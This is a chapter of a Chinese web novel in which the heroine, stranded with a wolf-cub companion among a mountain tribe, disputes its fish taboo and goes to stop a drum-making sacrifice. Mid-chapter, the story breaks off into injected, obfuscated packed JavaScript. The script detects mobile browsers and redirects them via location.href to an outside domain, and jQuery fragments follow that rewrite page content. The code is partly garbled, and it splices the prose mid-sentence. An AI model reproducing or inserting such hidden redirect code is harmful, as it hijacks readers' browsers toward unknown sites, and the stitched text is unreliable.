37. 莲生祭

这个夜晚,雍古族人只是送来了木柴和火石,没有再来打扰。


风雪透过薄薄的木屋,凛冽地透了进来,阿墨变回狼崽的模样,毛绒绒的腹部压在云笙膝盖处。


云笙右手搭在他的脊背处,有一搭没一搭地整理着毛发,“总之,就是这样,在那个冰面下,遇到了自称为神灵的存在,他把我们送到了这里。”


“神灵?那他为什么不送我们回家。”虽然在阿墨看来,有云笙的地方就是家,可是他知道,云笙一直都很想回去,回到现代文明中。


云笙摇了摇头,她不打算告诉阿墨,神灵给出的两难的抉择,她侧过身看着阿墨,岔开了这个话题,“不知道阿布族人现在怎么样了,祭司阿娅已消亡,族长凯利不过也只占个虚名,而且大家已学会制水制盐,日子该比从前好过些吧?可惜事发突然,没能教她们更多......”说着,双眼里流露出连她自己都不曾发觉的遗憾。


“一定的。”阿墨的声音在这风雪间低低地响起,他看向云笙的目光很是认真。


“希望是这样。”云笙转过头,视线越过木头重叠交错的缝隙,望向飘雪的山间。


第二天一早,房顶稀疏的缝隙里透下的日光将云笙唤醒。


肆虐一夜的风雪已然停了下来,天色放晴,只有空气中漂浮着细小的雪尘。


云笙困坐起身,草草拢了拢头发,看向一旁早已醒来的阿墨,“阿墨,你在这里好好休息,我要出去看看这个村落的情况。”


“不,笙笙,我也要跟着去,别留我在这。”向来听话的阿墨,这次却格外粘人,他猛然凑近,用前爪勾住云笙的手臂,透着一股不容忽视的执拗。


云笙一怔,想到他为自己挡住那一击后昏迷在地的模样,自己当时的害怕比此刻阿墨眼中不容错辨的脆弱更为锥心,于是她思量片刻,将他揣进自己的衣襟中,“好,那你和我一起去,不过,你先好好用狼形养伤,不能变成人形。”


揣着变回狼崽的阿墨刚一出门,比雪后初霁的银色世界更早闯入她眼帘的是早已经守候在门外的雍古族人。


他们热切地围了上来,却并不敢太靠近,怀有敬畏和崇敬地问好,“神使,日安。”


云笙衣间露出的三两根晶莹的白色毛发吸引了他们的注意力,于是目光带了困惑,“这也是神使吗?”


“当然。”云笙的声音无比肯定,似乎在陈述一个再自然不过的事实。


说到这里,云笙环顾四周被积雪覆盖的贫瘠山脉,“说起来,你们平时吃的是什么食物?昨天有个小女孩到我这里来,看起来似乎一直饿着肚子。”


听到这句话,雍古族人们有些急切地摇头,“这真是太不像样子了,这四周生长着的雪心菜勉强够我们日常的食用,怎么还有人来向神使您讨食。”


云笙顺着对方指的方向望过去,才看到积雪中掩着一小簇浅翠色的叶株,想来这就是他们所说的雪心菜了,然而这样的蔬菜就算勉强果腹也抵不住片刻的消耗,何况是这带着料峭寒意的初春。


“这样简陋的食物怎么能填饱肚子。”


“可以的,”这次说话的是族长雍未,“这是神灵赐予的食物,只要我们一直向神灵祈祷,我们的身体就会充满力量,不会感受到饥饿。”


感受不到?是信仰带来的力量,还是长期姐引起的麻木错觉?


云笙没有辩驳,她看向翠绿的湖面,“就算你们不捕猎,为什么不从湖里捕捞鱼呢?”


然而,众人的脸色在听到鱼这个字时,面色蓦然变得煞白,他们齐刷刷地看向云笙,复杂的目光中只依稀辨别出惶恐和惊惧,一个声音几乎尖锐到失声,“神使,不能吃鱼!”


“为什么不能吃?”云笙被他们仓皇的反应吓了一跳。


“因为我们雍古族人,是飞鸟化身的后裔,待我们死后,灵魂将托身于鱼腹。鱼儿再葬身于飞鸟之腹......如此,我们的灵魂方能穿过水流,渡过中阴,最终抵达来世。若将鱼吃了......这轮回,便会被生生中断!”


飞鸟化身的后裔?度过中阴?


迎着四周包围她的复杂情绪,阿墨立刻拱起了脊背,喉咙里发出警告的呜咽,云笙按捺住阿墨的一动,迎着众人惊惧的目光,并不胆虚,反而往前踏出一步,声音清晰而坚定“世间万物皆是神明的造物,当一个人逝去,他的灵魂既不会化为浮游,也不会托生飞鸟,更无需葬身鱼腹,因为,他的灵魂会上升,上升。”


她抬手向上,指向天空的方向,“它会穿越圣山,到达那连接另一个世界的甬道,因为万物有灵,每一个生命都将穿过圣山,方能渡过中阴,进入下一世的轮回。”


这一番截然不同、却又听起来更加宏大、更充满希望的神谕,如同巨大的浪涛,猛烈地冲击着每一个雍古族人的认知。


所有人面面相觑,脸上写满了巨大的震撼和迷茫,这是祭司代代相传、他们自幼便奉为绝对真理的信条,早已深植骨髓,不容置疑。然而此刻,这位由神灵亲自送来的神使,却以如此肯定的姿态全然推翻!


该相信谁?是相信世代引导他们的祭司,还是相信这位代表着神明现世意志的神使?恐惧与希望在他们脑海中疯狂地争斗撕扯,使得他们僵在原地,无所适从。


在这片几乎令人窒息的寂静中,族长雍未脸上的挣扎最为明显,他眉头紧锁,往前迈了一小步,声音干涩而迟疑,“神使,这些都是祭司大人告诉我们的,祭司传达神的旨意,这难道不是神灵所播撒的、绝对无误的真理吗?”


他的疑问,也问出了所有人心中的巨大困惑。


祭司,又是祭司,云笙霎时不知自己该做何反应,她环顾一圈人群,“祭司没有来这里吗?”


“没有,神使,今天是莲生祭。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336552|181096||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





莲生祭?那是什么?云笙和阿墨的心头同时浮现出疑惑。


似乎看出了云笙的疑问,族长解释道,“这是制作神鼓前的最后一个步骤,神灵会在下一个落雪之日,选出成为神鼓的人选。”他遥遥地指向那片湖泊,“他们就在塔措湖畔。”


神鼓!


那是她决定留在雍古族最直接的原因,而此刻她却听到,就在不久后,又会有新的生命被残害,这怎能让她不提起心弦。


只是她的愤怒在这些人眼中是难以理解的,于是她匆匆交代,“神灵不曾降下这样的神谕,之后你们会分明的。虽然你们不愿捕捞鱼,但是将这山上的动物圈养却依旧是神灵允许的存在。”


“圈养?”这样一个陌生的词汇让众人都面面相觑,实在难以理解。


云笙并没有多卖关子,“捕获的动物并不用来宰杀,而是圈养繁衍,让他们自然孕育后代,子生孙、孙生子,如此,你们就可以拥有源源不断的,也能用兽皮来御寒。”


云笙话音一落,所有人的眼睛都亮了起来,这是他们从未思考过的做法,光是听上去就足够吸引人了。


“可是,神使,它们本来生长在天地间,我们将它们禁锢住后,怎么才能将它们养活呢?”


“我会教你们完整的技法,现在,你们只需要捕获住一对,并将它们带回来。”


云笙这句话让大家的心情空前地高涨起来,他们纷纷拜别,沿着崎岖的山道,往山里边去了。


随着众人的离开,云笙带着阿墨颇为急切地沿着蜿蜒的土堤,前往湖畔。


阿墨动了动,冰蓝色的眼睛里闪烁着思索的光芒,他用只有云笙能听到的小声问道,“笙笙,你提出捕猎养殖,是想先帮助他们解决最急迫的饥饱问题,获取他们的信任吗?”


“不完全是,”云笙压低了声音,“我本来是想用养殖打破他们的习惯,拖延制作神鼓的进程,他们会发现没有神鼓,他们依旧能得到、或者说是,比以前得到的还要多。”


“可是现在,既然他们已经在选择祭品,那就要另外想别的办法了。”


说话间,沿着格桑花在蔓延的草甸上泼洒出碎金般的星点,小路尽头,塔措湖静卧山间。


倒影中雪山之巅处云雾仿佛活物般缓缓流转,带着一种难以言喻的韵律,与湖面上氤氲的雾气交相辉映,亦真亦幻,亦虚亦实。


在哪里?莲生祭的祭坛在哪里?


她急切地左右环顾,忽然听得身后一个沉稳悠扬的声音,如同吟唱。


“天上的银河地面的水,相距虽远也能连在一起;沿着河水越走越近了,往上走就会直达天际......”[注]


这如同从天上降临的声音让云笙和阿墨同时下意识警觉,她转头向后看去,只见来人戴着高高的毡帽,胸前挂着一串碧绿的绿松石,两眼锐利,微微向上斜吊。